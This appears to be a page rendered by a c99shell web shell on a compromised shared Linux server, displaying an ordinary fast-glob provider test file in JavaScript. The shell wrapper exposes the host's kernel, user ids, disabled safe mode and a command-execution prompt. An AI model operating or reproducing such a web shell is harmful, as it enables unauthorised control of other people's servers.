Software: Apache. PHP/8.3.27 uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364) Safe-mode: OFF (not secure) /usr/share/nodejs/fast-glob/out/providers/ drwxr-xr-x | |
| Viewing file: Select action/file-type: "use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.getProvider = exports.TestProvider = void 0;
const assert = require("assert");
const path = require("path");
const settings_1 = require("../settings");
const tests = require("../tests");
const provider_1 = require("./provider");
class TestProvider extends provider_1.default {
read() {
return [];
}
getRootDirectory(task) {
return this._getRootDirectory(task);
}
getReaderOptions(task) {
return this._getReaderOptions(task);
}
getMicromatchOptions() {
return this._getMicromatchOptions();
}
}
exports.TestProvider = TestProvider;
function getProvider(options) {
const settings = new settings_1.default(options);
return new TestProvider(settings);
}
exports.getProvider = getProvider;
describe('Providers → Provider', () => {
describe('Constructor', () => {
it('should create instance of class', () => {
const provider = getProvider();
assert.ok(provider instanceof provider_1.default);
});
});
describe('.getRootDirectory', () => {
it('should return root directory for reader with global base (.)', () => {
const provider = getProvider();
const task = tests.task.builder().base('.').build();
const expected = process.cwd();
const actual = provider.getRootDirectory(task);
assert.strictEqual(actual, expected);
});
it('should return root directory for reader with non-global base (fixtures)', () => {
const provider = getProvider();
const task = tests.task.builder().base('root').build();
const expected = path.join(process.cwd(), 'root');
const actual = provider.getRootDirectory(task);
assert.strictEqual(actual, expected);
});
});
describe('.getReaderOptions', () => {
it('should return options for reader with global base (.)', () => {
const settings = new settings_1.default();
const provider = getProvider(settings);
const task = tests.task.builder().base('.').positive('*').build();
const actual = provider.getReaderOptions(task);
assert.strictEqual(actual.basePath, '');
assert.strictEqual(actual.concurrency, settings.concurrency);
assert.strictEqual(typeof actual.deepFilter, 'function');
assert.strictEqual(typeof actual.entryFilter, 'function');
assert.strictEqual(typeof actual.errorFilter, 'function');
assert.ok(actual.followSymbolicLinks);
assert.strictEqual(typeof actual.fs, 'object');
assert.ok(!actual.stats);
assert.ok(actual.throwErrorOnBrokenSymbolicLink === false);
assert.strictEqual(typeof actual.transform, 'function');
});
it('should return options for reader with non-global base', () => {
const provider = getProvider();
const task = tests.task.builder().base('root').positive('*').build();
const actual = provider.getReaderOptions(task);
assert.strictEqual(actual.basePath, 'root');
});
});
describe('.getMicromatchOptions', () => {
it('should return options for micromatch', () => {
const provider = getProvider();
const expected = {
dot: false,
matchBase: false,
nobrace: false,
nocase: false,
noext: false,
noglobstar: false,
posix: true,
strictSlashes: false
};
const actual = provider.getMicromatchOptions();
assert.deepStrictEqual(actual, expected);
});
});
});
|
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0154 ]-- |